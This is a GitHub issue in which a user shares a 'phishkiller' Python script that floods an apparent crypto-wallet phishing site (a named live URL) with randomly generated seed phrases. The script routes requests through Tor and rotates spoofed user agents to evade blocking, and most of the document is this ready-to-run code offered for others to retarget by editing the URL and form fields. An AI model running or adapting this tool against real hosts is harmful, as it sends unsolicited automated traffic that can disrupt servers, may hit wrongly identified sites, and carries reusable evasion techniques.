Skip to content

phishkiller for crypto hackers #35

@techroy23

Description

@techroy23

Hi I would like to share my code

Features:

  1. Use TOR to hide your IP.
  2. Always get fresh user-agent from : https://github.com/HyperBeats/User-Agent-List
  3. Kill script if it doesnt detect a public ip via tor.
  4. Cycle counter to limit the script.

PS: just replace the 'url' and 'data' under func_attack depending on the data needed.

import requests
from mnemonic import Mnemonic
import time
import sys
import random

def func_fetch_user_agents(url):
    try:
        response = requests.get(url)
        if response.status_code == 200:
            user_agents = response.text.splitlines()
            return user_agents
        else:
            print(f"Failed to fetch user agents from {url}")
            return []
    except requests.RequestException as e:
        print(f"Error fetching user agents from {url}: {e}")
        return []

def func_get_user_agents():
    urls = [
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-android.txt',
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-desktop.txt',
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-ios.txt',
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-linux.txt',
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-macos.txt'
    ]
    user_agents = []
    for url in urls:
        user_agents.extend(func_fetch_user_agents(url))
    return user_agents

def func_get_random_user_agent(user_agents):
    return random.choice(user_agents)

proxies = {'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050'}

def func_get_public_ip():
    try:
        response = requests.get('https://icanhazip.com', proxies=proxies, headers={'User-Agent': func_get_random_user_agent(user_agents)})
        if response.status_code == 200:
            return response.text.strip()
        else:
            sys.exit(1)
            return None
    except requests.RequestException as e:
        print(f"Error fetching public IP: {e}")
        return None

def func_gen_random_seed_phrase():
    mnemo = Mnemonic("english")
    return mnemo.generate(strength=256)

def func_attack(seed_phrase):
    url = 'https://web.bit-box.digital/block-onauth.php'
    data = {'phrase': seed_phrase, 'submit': 'submit'}
    try:
        get_agents = func_get_random_user_agent(user_agents)
        headers = {'User-Agent': get_agents}
        print(f"Sending : {get_agents[:50]} ...")
        response = requests.post(url, data=data, proxies=proxies, headers=headers)
        print(f"Status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    user_agents = func_get_user_agents()
    if not user_agents:
        print("Unable to retrieve user agents. Using default user agents.")
        user_agents = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/113.0",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 OPR/95.0.0.0",
            # Add more user agents as needed
        ]

    public_ip = func_get_public_ip()
    if public_ip:
        print(f"Your public IP address is: {public_ip}")
    else:
        print("Unable to retrieve public IP address.")
        sys.exit(1)

    cycle_count = 0
    max_cycles = 5

    while cycle_count < max_cycles:
        random_seed_phrase = func_gen_random_seed_phrase()
        print(f"Sending : {random_seed_phrase[:50]} ...")
        func_attack(random_seed_phrase)
        cycle_count += 1

    print("Finished 5 cycles. Restarting ...")
    sys.exit(0)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions